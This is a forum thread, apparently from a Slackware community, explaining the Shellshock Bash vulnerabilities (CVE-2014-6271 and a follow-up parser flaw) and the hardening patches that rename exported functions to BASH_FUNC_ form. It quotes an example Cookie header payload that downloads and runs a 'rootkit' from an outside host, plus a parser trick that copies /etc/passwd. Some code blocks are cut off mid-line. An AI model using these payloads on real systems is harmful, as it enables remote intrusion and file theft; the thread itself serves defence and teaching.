Unshocking the shell (deconstructing the Bash mess)
What's this Bash thing all about? What are those crazy-looking "env x='() { :; }..." things I'm told test for vulnerability? Why the
tsunami of Slackware Bash updates? Where are all the socks that get lost in the dryer? Well, first some basics. Bash supports the concept of functions (a series of commands for later execution). Many of you are probably familiar with them and have seen them in shell scripts like the one below: Code:
1 #/bin/bash A more obscure Bash feature fewer people know about allows the propagation of functions by putting their definitions into environment variables: myfunc='() { echo "hi"; }'. Specifically, we can export our myfunc function to a subshell that can then execute it. e.g.: Code:
$ env myfunc='() { echo "hi"; }' bash -c 'myfunc;' carrying environment variables would incorrectly continue past the end of the function's definition. And, the extra stuff processed would get immediately executed! So, one could construct something like: Code:
$ env myfunc='() { echo "hi"; }; echo "this part is the problem!"' bash -c "myfunc;" themselves or pass untrusted input to Bash or /bin/sh (which in Slackware's case is Bash) via the environment. For example, an attacker might craft an HTTP GET with the following field: Code:
Cookie: () { :; }; wget -O /tmp/rootkit http://0.1.2.3; chmod 777 /tmp/rootkit; /tmp/rootkit; make it executable, and run it. Game over! This whopper of a flaw (designated CVE-2014-6271) is the most serious part of this mess (at least so far) and was fixed in the upstream patches released on 20140924 (included in Slackware's first Bash upgrade). Shortly afterwards, Tavis Ormandy demonstrated the parser's fragility with another way to fool it during the parsing of functional definitions: Code:
$ env myfunc='() { (a)=>\' bash -c "mancha cat /etc/passwd"; <-- copies /etc/passwd to a file named mancha 20140926 (unofficial versions included in the 2nd Slackware Bash upgrade with official versions part of the 3rd and latest Slackware update). So here we are...three days and three Slackware security releases later yet concerns remain: the parser is fragile, remains exposed to the outside world, and in all likelihood new breach points will be discovered. The attack surface is just too damn big! But, even if no one finds another way to breach the parser, the situation is troubling. Consider that we can define a function Cookie: Code:
$ env Cookie='() { echo "this could be evil code"; }' bash -c 'Cookie;' HTTP header with the field: Cookie: () { evil; code; here; } and possibly exploit a poorly-written CGI script. Similar attacks could be leveled on other public-facing services. Until now this Bash feature hasn't attracted much attention. But, the way it exposes its own fragile parser to possible exploitation and how it can be leveraged to potentially exploit reams of public-facing applications, makes the feature somewhat of a liability. One approach to shrinking this attack surface (short of turning off function importing altogether) is requiring function-carrying environment variables have a particular syntax (Florian Weimer, of Red Hat, has proposed BASH_FUNC_myfunc()). Rather than wait for the dust to settle, I decided to package Red Hat's hardening patch for Bash 3.1, 4.1, 4.2, and 4.3 (versions used by Slackware 12.0+) and have shared them in another post for fellow slackers who want the added comfort (look for the "affix" patches). Debian, Fedora, and others already ship Bash with these patches. I should also mention I consider the hardening patch an interim measure while upstream settles on an official solution. Right now, it seems upstream intends to mainline some variation of Florian's suggestion. With those patches applied we're no longer able to arbitrarily export function myfunc through an environment variable of the same name as we did before: Code:
$ env myfunc='() { echo "hi"; }' bash -c 'myfunc;' Code:
$ env BASH_FUNC_myfunc\(\)='() { echo "hi"; }' bash -c 'myfunc;' passes to a buggy CGI script as HTTP_COOKIE='() { evil; code; here; }', importation would be denied because HTTP_COOKIE isn't of the form BASH_FUNC_x(). Finally, there's the question of whether environment variables are the only method through which the Bash parser is dangerously exposed to external untrusted input. If other ways exist, we have a lot more to worry about. --mancha |
Thanks for the explanation mancha, and for sharing all of your security work.
|
A bit of history.
The right spelling of Stéphane Chazelas' first name is... Stéphane. Thanks also for the explanation, Mancha. |
Well, there is the ol'good command.com, err.. FREECOM ported by FreeDOS guys, any time we want...
Maybe, with porting of "bash" galore to C/C++ and porting the VERY LIMITED command.com as default shell, we can avoid the Next World Hysteria on the next "bashing" bug on "bash"? |
Thanks for the detailed explanation. It is certainly a critical bug, all because of one useless feature few people have ever heard of (I haven't). Maybe the best solution is to delete or disable the feature until they figure it out fully.
|
@metaschima: Just in case you missed it because of the security thread merging this is the diff to do just that.. Personally, I would recommend applying either the hardened diff supplied by mancha or the diff that simply disables the feature at least on servers with GCIs (unless one of the scripts depends on such a feature)
@mancha: Thank you for the detailed explanation. |
Many thanks for the very thorough explanation, mancha. Very interesting indeed. :)
|
Quote:
|
In my original post I mention Florian's hardening proposal (the affix patch) and why you should consider applying it. Since the time of that
writing, Bash upstream has mainlined a variation of Florian's affix patch. Please take a second to read this post to understand why I am seriously recommending you prioritize upgrading to the latest patch level. --mancha |
Thanks mancha for the explanation, very clear.
There is a new bash update for Slackware that implements "BASH_FUNC", I'm downloading it right now. Maybe a silly question, but why bash packages are named for example 4.3."0"26 if bash version is 4.3.26. |
Thanks, It's very useful!
|
Quote:
|
The post that I linked to is still there (which will provide a one-line diff to completely disable parsing evironment variables as functions -- as opposed to the hardened diff which just limits them to BASH_FUNC_*)... Probably you just clicked on the link while the mods where moving the posts to clear the security thread...
|
Quote:
Code:
diff --git a/variables.c b/variables.c [Actually, if I were doing this I'd probably revert to pre-patch 25 and eliminate the if block there. I still don't like that name transform hack with all its extra string handling. Oh, maybe I'd take patch 26, though, oh and 28, definitely 28] |
Found a handy script to test all bash's shellshock related vulnerabilities.
Example of the output (with latest bash package provided by Pat): Code:
pedro@slack [~/Scripts] $ ./bashcheck Code:
Test for CVE-2014-7187 not reliable without address sanitizer |
All times are GMT -5. The time now is 05:25 PM. |